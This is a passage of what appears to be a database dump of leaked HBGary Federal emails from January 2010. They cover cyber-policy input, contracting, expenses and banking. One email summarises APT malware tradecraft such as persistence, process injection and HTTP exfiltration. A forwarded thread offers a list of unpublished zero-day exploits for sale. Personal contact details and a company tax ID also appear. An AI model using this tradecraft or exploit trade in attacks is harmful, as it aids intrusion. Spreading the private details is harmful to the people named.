new\r\ntechnologies. &nbsp;(It would be effective to have a technology shop that could\r\nprovide the real world testing on new technologies and provide expert opinion\r\nto the government on technology effectiveness)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDescribe how the program will facilitate development and\r\nimplementation of newly developed technologies. &nbsp;Once you have a new\r\ntechnology then you have to go sell it, which can be a matter of contacts, etc,\r\nthings that don\'t have anything to do with the quality of the technology.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDescribe how the program will develop a national challenge\r\nbased on priorities to effectively evaluate and reward best in class\r\ncapabilities in those areas referenced. &nbsp;How can we innovatively foster\r\nthe creation of new ideas. &nbsp;Provide a national challenge in different\r\nareas at a government sponsored cybersecurity event. &nbsp;This would allow\r\nvirtual nobodies that have developed amazing capability to get instant\r\nrecognition and exposure.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 104. SOCIAL AND BEHAVIORAL RESEARCH IN\r\nCYBER-SECURITY\r\n\r\n\r\n\r\n\r\n\r\nDevelop a program to incentivize people to think and act\r\nmore securely in how the use systems, and develop systems.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDevelop incentives to more effectively share cybersecurity\r\nrelated information amongst government, academia, and industry.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPrograms to inform public of compromised systems, attack\r\ntypes, methods. &nbsp;More publicly digestible information on the threats and\r\nmethods of attack.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 105. NATIONAL SCIENCE FOUNDATION CYBERSECURITY\r\nRESEARCH AND DEVELOPMENT PROGRAMS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 106. FEDERAL CYBER SCHOLARSHIP FOR SERVICE PROGRAM\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 107. CYBERSECURITY WORKFORCE ASSESSMENT\r\n\r\n\r\n\r\n\r\n\r\nIncentivize industry and government to bring on college\r\nstudents part time in larger numbers, mechanisms to get them in the clearance\r\nprocess, get them experience, introduced to what is actually happening in the\r\nnational cybersecurity efforts.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDevelop a set of cybersecurity programs; to teach general\r\nusers, acquisitions forces to help them write cyber requirements, and more\r\ntechnical for personnel who work on the systems so they better understand both\r\nwhy and how to secure systems.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDevelop technical coaching and mentorship programs to grow\r\nthe current base into technical experts.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 108. CYBERSECURITY UNIVERSITY-INDUSTRY TASK FORCE\r\n\r\n\r\n\r\n\r\n\r\nDevelop a program to tie university research to industry\r\nsponsorships. &nbsp;I sat through the review of a bunch of academic papers and\r\nit was obvious the are technically sharp but operationally ignorant..get them\r\ninvolved more effectively in working on industry R&amp;D.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 109. CYBERSECURITY CHECKLIST DEVELOPMENT AND\r\nDISSEMINATION\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSEC. 110. NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY\r\nCYBERSECURITY RESEARCH AND DEVELOPMENT\r\n\r\n\r\n\r\n\r\n\r\nDevelop cybersecurity taxonomy and metrics standards.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDevelop standards for research, engage international\r\ncommunities, establish more cross functional committees and act as government\r\nPOC to track all cyber related research (allowing agencies to quickly see what\r\nis being done and facilitate collaboration).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nContinually\r\nassess gaps in cyber defense research, development and implementation.\r\n&nbsp;Annual assessments of cyber intrusions and investigations/remediation.\r\n&nbsp;Publicly available documentation.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5617,'aaron_hbgary_com/5617.html'),(1766,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000570.M315268P3547Q1766.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Input','From my iPhoneBegin forwarded message:From: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;\r\nDate: January 29, 2010 9:34:16 AM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Input\r\n\r\n\r\n\r\n\r\nAaron, GREAT feedback. Thank you! \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, January 29, 2010 6:03 AM\r\nTo: Olcott, Jacob\r\nSubject: Input\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nJake,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI wish I had more time.  But here is some input.\r\n Hope it helps.  Let me know if there is anything else I can do.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nSEC 103. CYBERSECURITY STRATEGIC RESEARCH AND DEVELOPMENT\r\nPLAN\r\n\r\n\r\n\r\nDescribe how the program will incentivize the collaboration\r\nof academia, small and large businesses to work together to develop more\r\nsignificant capabilities.  (my point here is there is lots of talent,\r\ncapability, overlap, but often they don&#39;t collaborate for reasons of market\r\nshare, territory, etc).  Grants for innovative integration.  Small\r\ncompanies are laser focused on immediate revenue and growth.  Difficult to\r\nget them to think about collaboration.  \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDescribe how the program will provide access to government\r\nmission sets and information for the purposes of real world research,\r\ndevelopment, and testing.  (In many cases, you might have good ideas, good\r\ntechnology but you need a real world environment/data to test against which is\r\ndifficult to get unless you secure a contract).\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDescribe how the programs national research infrastructure\r\nwill provide expertise to mission owners on the effectiveness of new\r\ntechnologies.  (It would be effective to have a technology shop that could\r\nprovide the real world testing on new technologies and provide expert opinion\r\nto the government on technology effectiveness)\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDescribe how the program will facilitate development and\r\nimplementation of newly developed technologies.  Once you have a new\r\ntechnology then you have to go sell it, which can be a matter of contacts, etc,\r\nthings that don&#39;t have anything to do with the quality of the technology.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDescribe how the program will develop a national challenge\r\nbased on priorities to effectively evaluate and reward best in class\r\ncapabilities in those areas referenced.  How can we innovatively foster\r\nthe creation of new ideas.  Provide a national challenge in different\r\nareas at a government sponsored cybersecurity event.  This would allow\r\nvirtual nobodies that have developed amazing capability to get instant\r\nrecognition and exposure.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSEC. 104. SOCIAL AND BEHAVIORAL RESEARCH IN\r\nCYBER-SECURITY\r\n\r\n\r\n\r\n\r\n\r\nDevelop a program to incentivize people to think and act\r\nmore securely in how the use systems, and develop systems.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDevelop incentives to more effectively share cybersecurity\r\nrelated information amongst government, academia, and industry.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nPrograms to inform public of compromised systems, attack\r\ntypes, methods.  More publicly digestible information on the threats and\r\nmethods of attack.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSEC. 105. NATIONAL SCIENCE FOUNDATION CYBERSECURITY\r\nRESEARCH AND DEVELOPMENT PROGRAMS\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSEC. 106. FEDERAL CYBER SCHOLARSHIP FOR SERVICE PROGRAM\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSEC. 107. CYBERSECURITY WORKFORCE ASSESSMENT\r\n\r\n\r\n\r\n\r\n\r\nIncentivize industry and government to bring on college\r\nstudents part time in larger numbers, mechanisms to get them in the clearance\r\nprocess, get them experience, introduced to what is actually happening in the\r\nnational cybersecurity efforts.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDevelop a set of cybersecurity programs; to teach general\r\nusers, acquisitions forces to help them write cyber requirements, and more\r\ntechnical for personnel who work on the systems so they better understand both\r\nwhy and how to secure systems.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDevelop technical coaching and mentorship programs to grow\r\nthe current base into technical experts.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSEC. 108. CYBERSECURITY UNIVERSITY-INDUSTRY TASK FORCE\r\n\r\n\r\n\r\n\r\n\r\nDevelop a program to tie university research to industry\r\nsponsorships.  I sat through the review of a bunch of academic papers and\r\nit was obvious the are technically sharp but operationally ignorant..get them\r\ninvolved more effectively in working on industry R&amp;D.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSEC. 109. CYBERSECURITY CHECKLIST DEVELOPMENT AND\r\nDISSEMINATION\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSEC. 110. NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY\r\nCYBERSECURITY RESEARCH AND DEVELOPMENT\r\n\r\n\r\n\r\n\r\n\r\nDevelop cybersecurity taxonomy and metrics standards.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDevelop standards for research, engage international\r\ncommunities, establish more cross functional committees and act as government\r\nPOC to track all cyber related research (allowing agencies to quickly see what\r\nis being done and facilitate collaboration).\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nContinually\r\nassess gaps in cyber defense research, development and implementation.\r\n Annual assessments of cyber intrusions and investigations/remediation.\r\n Publicly available documentation.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4278,'aaron_hbgary_com/4278.html'),(1767,'2010-01-29','\"Balli, Sid (IS)\" <Ysidro.Balli@ngc.com>','/aaron@hbgary.com/new/1297000575.M523708P3547Q1767.eml','aaron@hbgary.com,aaron@hbgary.com','Northrop Grumman NDA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMr. Barr,\r\n\r\n&nbsp;\r\n\r\nAttached is Northrop Grumman&#8217;s NDA. Please let me know\r\nif you have any questions.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nSid\r\nBalli\r\n\r\nContracts\r\nAdministrator\r\n\r\nNorthrop\r\nGrumman\r\n\r\n(210)\r\n321-6484\r\n\r\n(210)\r\n349-0081 (fax)\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4463,'aaron_hbgary_com/4463.html'),(1768,'2010-01-29','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000575.M715876P3547Q1768.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,,,,','M-trends first 8 pages',' \r\nI&#39;m only 8 pages into the whitepaper.\r\n \r\n* common attack is spearfishing\r\n* live operation of malware occurs between 10PM and 4AM, which is the workday in China\r\n* malware typically obtains hashed user credentials, with the attacker logging back in w/ real password in a matter of minutes\r\n  -- this indicates they are using rainbow tables (greg comment)\r\n* the malware is installed w/ system levelpriv\r\n* malware uses process injection, or simply registers for reboot w/ the windows run key, or registers as a standard service\r\n* network traffic is obfuscated or encrypted\r\n* malware uses regular user credentials (which have been stolen in some way)\r\n* malware can be remotely updated\r\n* operators direct malware at domain controllers so they can get more user names &amp; domain admin\r\n* many hacker utilities are found on machines that dont contain the malware, indicating live shell access has been in use\r\n* malware scans for email attachments, email, and files\r\n* files are moved to a staging server before being exfiltrated, typically RAR&#39;d before being exfiltrated\r\n* files are then cleaned off the staging server\r\n* connections always go out, never in\r\n* outbound connections are HTTP, and include random data to confuse IDS\r\n* outbound traffic is HTTP compliant so proxy&#39;s will work\r\n* ave file size is 120kb\r\n* only 10% of the malware is packed\r\n* svchost.exe, iexplore.exe, iprinp.dll, and winzf32.dll were the most common names \r\n* comments in &quot;ADSPACE&quot; sections of HTTP are used to hide exfil data\r\n* malware uses a chat server to get live command and control from the operator\r\n* 21% use the run key to survive reboot\r\n* 76% register themselves as a service\r\n \r\n(Greg&gt;&gt;)\r\nThe above data is just pulled from the report.  The stats are only as good as Mandiant&#39;s sample set. \r\n \r\n-Greg \r\n \r\n',11388,'aaron_hbgary_com/11388.html'),(1769,'2010-01-29','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000575.M890613P3547Q1769.eml','\"Aaron Barr\" <aaron@hbgary.com>','cyber consortium','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you have a list of who attended the meeting on Tuesday?\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4623,'aaron_hbgary_com/4623.html'),(1770,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000576.M253688P3547Q1771.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: cyber consortium','Yes.  I will get it to you.  Just got another opportunity for our combined capability with the AF 624th.  I think I am going down there next week.  Will let you know.\r\nAaronFrom my iPhoneOn Jan 29, 2010, at 10:59 AM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nDo you have a list of who attended the meeting on Tuesday?\r\n\r\n \r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8352,'aaron_hbgary_com/8352.html'),(1771,'2010-01-29','\"Brian Girardi\" <brian@netwitness.com>','/aaron@hbgary.com/new/1297000576.M436614P3547Q1772.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','NetWitness side of things','\r\n\r\nNetWitness side of things\r\n\r\n\r\nAaron, Thanks for pulling us into your effort. &nbsp;From our perspective the problem set identified and target resonates, an approach like this is needed to better position the organizations to build out better knowledge, skillset, tradecraft...etc. &nbsp;&nbsp;Our experience historically within intel and coming from a services organization re-enforces our belief in the need. &nbsp;To this point, its also not a conventional product sale, as some members of the room were hung up on. Unlike, Splunk we don&#8217;t need time to evaluate, weve experienced the problem and realize the need. &nbsp;Eager to participate in the solution.\r\n\r\nFrom a product and technical perspective I think Splunk positions its self as the umbrella for all data consumption and searching... which would include NW, HGbary, and other intel data, which also drives their licensing cost. &nbsp;When you put them under the host category they probably felt as if they were in a corner. &nbsp;I think they do risk cannibalizing themselves in some accounts if they don&#8217;t position themselves right( at the top), which in my mind may conflict with the objective of the solution.\r\n\r\nI do think more thought needs to go into how the products play together, and position it in a way that minimizes sales impact if the product already exists or not. &nbsp;Tricky. &nbsp;&nbsp;I believe that as our product is used it inherently drives customers to use it more and buy more for coverage. May be the same for Splunk... The issue there is that they are architected in a similar way to NW, further driving confusion on the interaction. Id challenge that shoveling all NW data into Splunk wont scale (contrary to their assertion) and minimize the value of our analytics. &nbsp;For example, at any particular time we may be processing 100,000 meta elements a second &#8212; the real-time nature of our system and its index positions itself better as an adjacent system than just a data provider when part of a larger solution. &nbsp;&nbsp;You may find that during integration the profile of the products may change anyway.\r\n\r\nThe missing part to me is the workflow --- which is part services, integration, and product. &nbsp;Clearwell has an interesting case management system you may want to look at, although Palantir may already do some of this.\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street, Suite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state law governing electronic communications and may contain company proprietary and legally privileged information.  If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, use or copying of this message is strictly prohibited.  If you have received this in error, please reply immediately to the sender and delete this message.  Thank you. \r\n\r\n\r\n',15522,'aaron_hbgary_com/15522.html'),(1772,'2010-01-29','ted@hbgary.com','/aaron@hbgary.com/new/1297000576.M636219P3547Q1773.eml','aaron@hbgary.com','HBGary Federal 2009 Expenses','\r\n\r\nI\'ve shared HBGary Federal 2009 Expenses\r\nMessage from ted@hbgary.com:\r\n\r\nClick to open:\r\nHBGary Federal 2009 Expenses\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',5036,'aaron_hbgary_com/5036.html'),(1773,'2010-01-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000576.M66972P3547Q1770.eml','\"Barr Aaron\" <aaron@hbgary.com>','Darpa BAA','It\'s too big to put in the cloud.  I put it on the shared drive under\r\nbusiness development --> 2010 --> DARPA\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',3686,'aaron_hbgary_com/3686.html'),(1774,'2010-01-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000576.M819217P3547Q1774.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: December Expenses','---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Fri, Jan 29, 2010 at 10:38 AM\r\nSubject: Re: December Expenses\r\nTo: \"John L. Cox, CPA\" \r\nCc: Penny Leavy , DeeAnn Buonaccorsi \r\n\r\n\r\nHi John,\r\n\r\nAttached is a spreadsheet that has our travel and equipment costs for\r\n2009.  Aaron ordered his hardware himself, whereas mine was ordered by\r\nDee Ann, so I do not have the receipts.\r\n\r\nDee Ann, can you please update the spreadsheet with the equipment\r\ncosts for what you purchased for me (laptop, projector, etc) and send\r\nto John?  We need to get him this info so he can complete our company\r\ntax returns.\r\n\r\nThank you,\r\nTed\r\n\r\n\r\n\r\nOn Fri, Jan 29, 2010 at 9:54 AM, John L. Cox, CPA\r\n wrote:\r\n> Hello Ted,\r\n>\r\n>\r\n>\r\n> Just wondering when you estimate that you will be able to forward expenses\r\n> for 2009 to me?  Thanks.\r\n>\r\n>\r\n>\r\n> John L. Cox, CPA\r\n>\r\n> 12107 Faith Lane\r\n>\r\n> Bowie, Maryland 20715\r\n>\r\n> (240) 949-6022 Voice\r\n>\r\n> (866) 750-1973 Fax\r\n>\r\n>\r\n>\r\n> This message contains information that may be confidential and privileged.\r\n> Unless you are the addressee (or authorized to receive for the addressee),\r\n> you may not use, copy, print or disclose to anyone the message or any\r\n> information contained in the message. If you have received this e-mail in\r\n> error, please advise the sender by reply and delete the message. Thank you.\r\n>\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',16635,'aaron_hbgary_com/16635.html'),(1775,'2010-01-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000577.M201823P3547Q1776.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Tools','FYI -- I finally received a response from Ben, see below.\r\n\r\nTed\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Wilson, Ben N. \r\nDate: Fri, Jan 29, 2010 at 10:44 AM\r\nSubject: RE: Tools\r\nTo: Ted Vera , Barr Aaron \r\n\r\n\r\nGreetings Ted,\r\n\r\nI have been told that once we have an opportunity for you to work with\r\nus, you will be added to the approved vendor list. The information you\r\nprovided has helped and that there was no problems for us to do doing\r\nwork with you.\r\n\r\nI have given your name to some others within GDAIS.  Don\'t know if\r\nthey contacted you directly or not.\r\n\r\nBen Wilson\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Thursday, January 28, 2010 9:56 AM\r\nTo: Wilson, Ben N.; Barr Aaron\r\nSubject: Re: Tools\r\n\r\nHello again Ben,\r\n\r\nI just wanted to touch base to see how things are going and find out\r\nif you\'ve made any progress toward adding HBGary as an approved GD\r\nvendor.  Hope all is well.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Fri, Jan 8, 2010 at 12:28 PM, Ted Vera  wrote:\r\n> Hi Ben,\r\n>\r\n> I hope you had a good holiday.  Please let me know if there is\r\n> anything else you need from us to get HBGary Federal listed as an\r\n> approved vendor.  Is GD willing to sponsor our clearances, so we can\r\n> provide classified support?\r\n>\r\n> Regards,\r\n> Ted\r\n>\r\n> On Tue, Dec 22, 2009 at 2:18 PM, Ted Vera  wrote:\r\n>> Hi Ben,\r\n>> Below is the information you requested and attached is a facility security\r\n>> clearance sponsor letter.  If you fill this out and submit to DSS it will\r\n>> enable us to provide classified support to your contracts.  (This is not for\r\n>> sponsoring a SCIF, it would just allow us to have classified discussions and\r\n>> provide on-site classified support as needed).\r\n>> HBGary Federal, LLC\r\n>>\r\n>> DUNS:  832950831\r\n>>\r\n>> CAGE:  5U1U6\r\n>>\r\n>> EIN:  27-1485507\r\n>> Hope you have a happy holiday!\r\n>> Ted\r\n>>\r\n>>\r\n>>\r\n>> On Tue, Dec 15, 2009 at 1:02 PM, Wilson, Ben N. \r\n>> wrote:\r\n>>>\r\n>>> Greetings Ted,\r\n>>>\r\n>>>\r\n>>>\r\n>>> Thank you again for coming to our facility and meeting with us.\r\n>>>\r\n>>>\r\n>>>\r\n>>> When you have time, please send Company ID, Tax ID, etc. so I can forward\r\n>>> to contracts to get you on the approved vendor list.\r\n>>>\r\n>>>\r\n>>>\r\n>>> Thanks,\r\n>>>\r\n>>> Ben Wilson\r\n>>>\r\n>>>\r\n>>>\r\n>>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>>> Sent: Tuesday, December 15, 2009 11:58 AM\r\n>>> To: Wilson, Ben N.\r\n>>> Subject: Tools\r\n>>>\r\n>>>\r\n>>>\r\n>>> Hi Ben,\r\n>>>\r\n>>>\r\n>>>\r\n>>> It was great meeting you again.  Below is a list of the current\r\n>>> unpublished 0-day tools that we have on the shelf.  You mentioned interest\r\n>>> in the VMWare tool, so I\'ve attached a summary description.  Please let me\r\n>>> know if you are interested in any of the other tools, or if you have further\r\n>>> questions.\r\n>>>\r\n>>> ·         VMware ESX and ESXi *\r\n>>>\r\n>>> ·         Win2K3 Terminal Services\r\n>>>\r\n>>> ·         Win2K3 MSRPC\r\n>>>\r\n>>> ·         Solaris 10 RPC\r\n>>>\r\n>>> ·         Adobe Flash *\r\n>>>\r\n>>> ·         Sun Java *\r\n>>>\r\n>>> ·         Win2k Professional & Server\r\n>>>\r\n>>> Regards,\r\n>>>\r\n>>> Ted\r\n>>>\r\n>>> --\r\n>>> Ted H. Vera\r\n>>> President | COO\r\n>>> HBGary Federal\r\n>>>\r\n>>> 719-237-8623\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal, Inc.\r\n>> 719-237-8623\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal, Inc.\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',4156,'aaron_hbgary_com/4156.html'),(1776,'2010-01-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000577.M429627P3547Q1777.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Bob\'s Wife Signature','Begin forwarded message:From: &lt;Nadir.T.Malik@wellsfargo.com&gt;\r\nDate: January 29, 2010 10:58:30 AM MSTTo: &lt;penny@hbgary.com&gt;, &lt;ted@hbgary.com&gt;Cc: &lt;angela@delahousayelaw.com&gt;\r\nSubject: Re: Bob&#39;s Wife SignatureYes. The account will be open today. Nadir MalikBusiness deposit consultant\r\n916 812 3150This message may contain confidential and/or privileged information. If you are not the addressee or authorized to receive this for the addressee, you must not use, copy, disclose, or take any action based on this message or any information herein. If you have received this message in error, please advise the sender immediately by reply e-mail and delete this message. Thank you for your cooperation.\r\n--------------------------Sent using BlackBerry----- Original Message -----From: Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;\r\nTo: &#39;Ted Vera&#39; &lt;ted@hbgary.com&gt;; Malik, Nadir T.Cc: angela@delahousayelaw.com &lt;angela@delahousayelaw.com&gt;\r\nSent: Fri Jan 29 11:56:43 2010Subject: RE: Bob&#39;s Wife SignatureYes resign and send and I&#39;ll deal with Bob.  The changes when to bob afterhe sent it out.  However, the intent is there and this shouldn&#39;t slow down\r\nthe bank deal.  I can get rich&#39;s today.  Maheen kept sending differentversions with only &quot;this has a clearer signature page&quot; descriptions onoriginal.  I changed to reflex our conversation ted.  Nadir, can we get the\r\nbank account up today?-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] Sent: Friday, January 29, 2010 9:43 AM\r\nTo: Nadir.T.Malik@wellsfargo.comCc: penny@hbgary.com; angela@delahousayelaw.com\r\nSubject: Re: Bob&#39;s Wife SignatureIf you Aaron and I to resign, please fax the form to 720-836-4208.Regards,Ted\r\nOn Thu, Jan 28, 2010 at 1:56 PM,  &lt;Nadir.T.Malik@wellsfargo.com&gt; wrote:Got it. Thank you Penny. I may need fresh signatures on the docs I had you\r\nall sign since they are all over 30 days old, but I&#39;m going to seek anexception. I will get back to you shortly.\r\n________________________________\r\nFrom: Penny Leavy-Hoglund [mailto:penny@hbgary.com]\r\nSent: Thursday, January 28, 2010 12:18 PMTo: &#39;Angela De La Housaye&#39;; Malik, Nadir T.; &#39;Ted Vera&#39;Subject: Bob&#39;s Wife Signature\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',10570,'aaron_hbgary_com/10570.html'),(1777,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000577.M631139P3547Q1778.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: cyber consortium','When do you have training?AaronFrom my iPhoneOn Jan 29, 2010, at 10:59 AM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nDo you have a list of who attended the meeting on Tuesday?\r\n\r\n \r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5359,'aaron_hbgary_com/5359.html'),(1778,'2010-01-29','\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>','/aaron@hbgary.com/new/1297000577.M7450P3547Q1775.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','RE: Tools','Greetings Ted,\r\n\r\nI have been told that once we have an opportunity for you to work with us, you will be added to the approved vendor list. The information you provided has helped and that there was no problems for us to do doing work with you.\r\n\r\nI have given your name to some others within GDAIS.  Don\'t know if they contacted you directly or not.\r\n\r\nBen Wilson\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Thursday, January 28, 2010 9:56 AM\r\nTo: Wilson, Ben N.; Barr Aaron\r\nSubject: Re: Tools\r\n\r\nHello again Ben,\r\n\r\nI just wanted to touch base to see how things are going and find out\r\nif you\'ve made any progress toward adding HBGary as an approved GD\r\nvendor.  Hope all is well.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Fri, Jan 8, 2010 at 12:28 PM, Ted Vera  wrote:\r\n> Hi Ben,\r\n>\r\n> I hope you had a good holiday.  Please let me know if there is\r\n> anything else you need from us to get HBGary Federal listed as an\r\n> approved vendor.  Is GD willing to sponsor our clearances, so we can\r\n> provide classified support?\r\n>\r\n> Regards,\r\n> Ted\r\n>\r\n> On Tue, Dec 22, 2009 at 2:18 PM, Ted Vera  wrote:\r\n>> Hi Ben,\r\n>> Below is the information you requested and attached is a facility 